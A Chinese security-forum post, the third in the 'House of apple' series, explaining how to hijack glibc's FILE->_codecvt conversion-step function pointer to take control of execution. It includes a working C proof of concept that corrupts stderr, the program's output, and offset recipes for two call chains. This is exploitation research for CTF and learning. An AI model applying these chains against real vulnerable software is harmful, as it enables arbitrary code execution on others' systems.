首页
社区
课程
招聘
[原创]House of apple 一种新的glibc中IO攻击方法 (3)
发表于: 2022-7-30 00:26 19525

[原创]House of apple 一种新的glibc中IO攻击方法 (3)

2022-7-30 00:26
19525

目录

house of apple3

house of apple系列利用方法文章:

前言

之前提出了一种新的IO利用方法 house of apple,并已经发布了house of apple1house of apple2,其中house of apple1中的利用链能任意地址写堆地址,house of apple2中的利用链能通过控制FILE结构体的_wide_data成员去直接控制程序执行流。本篇是house of apple系列的第三篇,继续给出基于FILE->_wide_data的有关利用技巧(利用链仍然与FILE->_wide_data操作有一点相关)。

前两篇文章中的利用链主要关注_wide_data成员,而本篇文章并不会特别关注_wide_data,而是关注FILE结构体的另外一个成员_codecvt的利用。

本篇的house of apple3同样会给出几条新的IO利用链,在劫持FILE->_codecvt的基础上,直接控制程序执行流。

关于前置知识点击 house of apple1进行查看。

文章中的fp为一个FILE类型的指针,以下分析均基于amd64程序。

利用条件

使用house of apple3的条件为:

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_codecvt,一般使用largebin attack去控制

注意:
上面提到,本篇文章并不会特别关注_wide_data成员,这是因为_wide_data设置不当的话会影响某些利用链的分支走向。但是,如果采用默认的_wide_data成员(默认会指向_IO_wide_data_2,除了_wide_vtable外其他成员均默认为0),也并不影响house of apple3的利用。

因此,如果能伪造整个FILE结构体,则需要设置合适的_wide_data;如果只能伪部分FILE的成员的话,保持fp->_wide_data为默认地址即可。

利用原理

FILE结构体中有一个成员struct _IO_codecvt *_codecvt;,偏移为0x98。该结构体参与宽字符的转换工作,结构体被定义为:

1
2
3
4
5
6
// libio\libio.h:115
struct _IO_codecvt
{
  _IO_iconv_t __cd_in;
  _IO_iconv_t __cd_out;
};

可以看到,__cd_in__cd_out是同一种类型的数据。往下拆,结构体_IO_iconv_t被定义为:

1
2
3
4
5
6
// libio\libio.h:51
typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;

继续拆,来看struct __gconv_step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// iconv\gconv.h:84
/* Description of a conversion step.  */
struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;// 关注这个成员
  const char *__modname;
 
  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;
 
  char *__from_name;
  char *__to_name;
 
  __gconv_fct __fct;// 关注这个成员
  __gconv_btowc_fct __btowc_fct;
  __gconv_init_fct __init_fct;
  __gconv_end_fct __end_fct;
 
  /* Information about the number of bytes needed or produced in this
     step.  This helps optimizing the buffer sizes.  */
  int __min_needed_from;
  int __max_needed_from;
  int __min_needed_to;
  int __max_needed_to;
 
  /* Flag whether this is a stateful encoding or not.  */
  int __stateful;
 
  void *__data;     /* Pointer to step-local data.  */
};

然后来看struct __gconv_step_data结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* Additional data for steps in use of conversion descriptor.  This is
   allocated by the `init' function.  */
struct __gconv_step_data
{
  unsigned char *__outbuf;    /* Output buffer for this step.  */
  unsigned char *__outbufend; /* Address of first byte after the output
                 buffer.  */
 
  /* Is this the last module in the chain.  */
  int __flags;
 
  /* Counter for number of invocations of the module function for this
     descriptor.  */
  int __invocation_counter;
 
  /* Flag whether this is an internal use of the module (in the mb*towc*
     and wc*tomb* functions) or regular with iconv(3).  */
  int __internal_use;
 
  __mbstate_t *__statep;
  __mbstate_t __state;  /* This element must not be used directly by
               any module; always use STATEP!  */
};

以上两个结构体均会被用于字符转换,而在利用的过程中,需要精准控制结构体中的某些成员,避免引发内存访问错误。

house of apple3的利用主要关注以下三个函数:__libio_codecvt_out__libio_codecvt_in__libio_codecvt_length。三个函数的利用点都差不多,以__libio_codecvt_in为例,源码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
            const char *from_start, const char *from_end,
            const char **from_stop,
            wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;
  // gs 源自第一个参数
  struct __gconv_step *gs = codecvt->__cd_in.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;
 
  codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_in.step_data.__statep = statep;
 
  __gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
  // 如果gs->__shlib_handle不为空,则会用__pointer_guard去解密
  // 这里如果可控,设置为NULL即可绕过解密
  if (gs->__shlib_handle != NULL)
    PTR_DEMANGLE (fct);
#endif
  // 这里有函数指针调用
  // 这个宏就是调用fct(gs, ...)
  status = DL_CALL_FCT (fct,
            (gs, &codecvt->__cd_in.step_data, &from_start_copy,
             (const unsigned char *) from_end, NULL,
             &dummy, 0, 0));
       // ......
}

其中,__gconv_fctDL_CALL_FCT被定义为:

1
2
3
4
5
6
7
8
/* Type of a conversion function.  */
typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *,
                const unsigned char **, const unsigned char *,
                unsigned char **, size_t *, int, int);
 
#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif

而在_IO_wfile_underflow函数中调用了__libio_codecvt_in,代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;
 
  /* C99 requires EOF to be "sticky".  */
 
  // 不能进入这个分支
  if (fp->_flags & _IO_EOF_SEEN)
    return WEOF;
  // 不能进入这个分支
  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  // 不能进入这个分支
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;
 
  cd = fp->_codecvt;
 
  // 需要进入这个分支
  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;
 
      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
    // 需要一路调用到这里
      status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
                   fp->_IO_read_ptr, fp->_IO_read_end,
                   &read_stop,
                   fp->_wide_data->_IO_read_ptr,
                   fp->_wide_data->_IO_buf_end,
                   &fp->_wide_data->_IO_read_end);
           // ......
    }
}

_IO_wfile_underflow又是_IO_wfile_jumps这个_IO_jump_t类型变量的成员函数。

分析到这里,利用原理就呼之欲出了:劫持或者伪造FILE结构体的fp->vtable_IO_wfile_jumpsfp->_codecvt为可控堆地址,当程序执行IO操作时,控制程序执行流走到_IO_wfile_underflow,设置好fp->codecvt->__cd_in结构体,使得最终调用到__libio_codecvt_in中的DL_CALL_FCT宏,伪造函数指针,进而控制程序执行流。

注意,在伪造过程中,可以设置gs->__shlib_handle == NULL,从而绕过__pointer_guard的指针调用保护。

基于该利用思路,编写demo验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include
#include
#include
#include
#include
 
void backdoor()
{
    printf("\033[31m[!] Backdoor is called!\n");
    _exit(0);
}
 
void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);
 
    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    puts("[*] allocate two 0x200 chunks");
 
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x84420;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);
 
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
 
    size_t _IO_wfile_jumps_addr = libc_base_addr + 0x1e8f60;
    printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
  
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: set stderr->_flags to ~(4 | 0x10))");
    *(size_t *)stderr2 = 0;
 
    puts("[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end");
    *(size_t *)(stderr2 + 0x10) = (size_t)-1;
  
    puts("[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40");
    *(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr-0x40;
  
    puts("[+] step 4: set stderr->codecvt with the allocated chunk p1");
    *(size_t *)(stderr2 + 0x98) = (size_t)p1;
 
    puts("[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2");
    *(size_t *)p1 = (size_t)p2;
 
    puts("[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct");
    *(size_t *)(p2 + 0x28) = (size_t)(&backdoor);
 
    puts("[+] step 7: call fflush(stderr) to trigger backdoor func");
    fflush(stderr);
 
}

输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
[*] allocate two 0x200 chunks
[*] puts address: 0x7f3b2d0a2420
[*] libc base address: 0x7f3b2d01e000
[*] _IO_2_1_stderr_ address: 0x7f3b2d20b5c0
[*] _IO_wfile_jumps address: 0x7f3b2d206f60
[+] step 1: set stderr->_flags to ~(4 | 0x10))
[+] step 2: set stderr->_IO_read_ptr < stderr->_IO_read_end
[+] step 3: set stderr->vtable to _IO_wfile_jumps-0x40
[+] step 4: set stderr->codecvt with the allocated chunk p1
[+] step 5: set stderr->codecvt->__cd_in.step with the allocated chunk p2
[+] step 6: put backdoor at stderr->codecvt->__cd_in.step->__fct
[+] step 7: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!

利用思路

目前在glibc源码中搜索到的__libio_codecvt_in/__libio_codecvt_out/__libio_codecvt_length的调用链比较多,这里给出我总结的几条比较好利用的链。

利用_IO_wfile_underflow函数控制程序执行流

fp的设置如下:

  • _flags设置为~(4 | 0x10)
  • vtable设置为_IO_wfile_jumps地址(加减偏移),使其能成功调用_IO_wfile_underflow即可
  • fp->_IO_read_ptr < fp->_IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data保持默认,或者设置为堆地址,假设其地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C
  • codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果_wide_data也可控的话,rsi也能控制。

函数的调用链如下:

1
2
3
4
5
_IO_wfile_underflow
    __libio_codecvt_in
        DL_CALL_FCT
            gs = fp->_codecvt->__cd_in.step
            *(gs->__fct)(gs)

此链的详细分析见上述的利用原理部分。

利用_IO_wfile_underflow_mmap函数控制程序执行流

fp的设置如下:

  • _flags设置为~4
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data保持默认,或者设置为堆地址,假设其地址为A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为非0,即满足*(A + 0x30) != 0
  • _codecvt设置为可控堆地址B,即满足*(fp + 0x98) = B
  • codecvt->__cd_in.step设置为可控堆地址C,即满足*B = C
  • codecvt->__cd_in.step->__shlib_handle设置为0,即满足*C = 0
  • codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip,即满足*(C + 0x28) = D。当调用到D的时候,此时的rdiC。如果_wide_data也可控的话,rsi也能控制。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-12-20 13:32 被roderick01编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (3)
雪    币: 164
活跃值: (8789)
能力值: ( LV13,RANK:438 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2022-7-30 00:34
0
雪    币: 24
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
师傅带我飞吧
2022-7-31 17:39
0
雪    币: 16815
活跃值: (13593)
能力值: ( LV15,RANK:595 )
在线值:
发帖
回帖
粉丝
4

坐等 glibc 2.37 给 _wide_vtable 加上 PTR_MANGLE

最后于 2022-8-4 09:59 被evilpan编辑 ,原因:
2022-8-4 09:58
1
游客
登录 | 注册 方可回帖
返回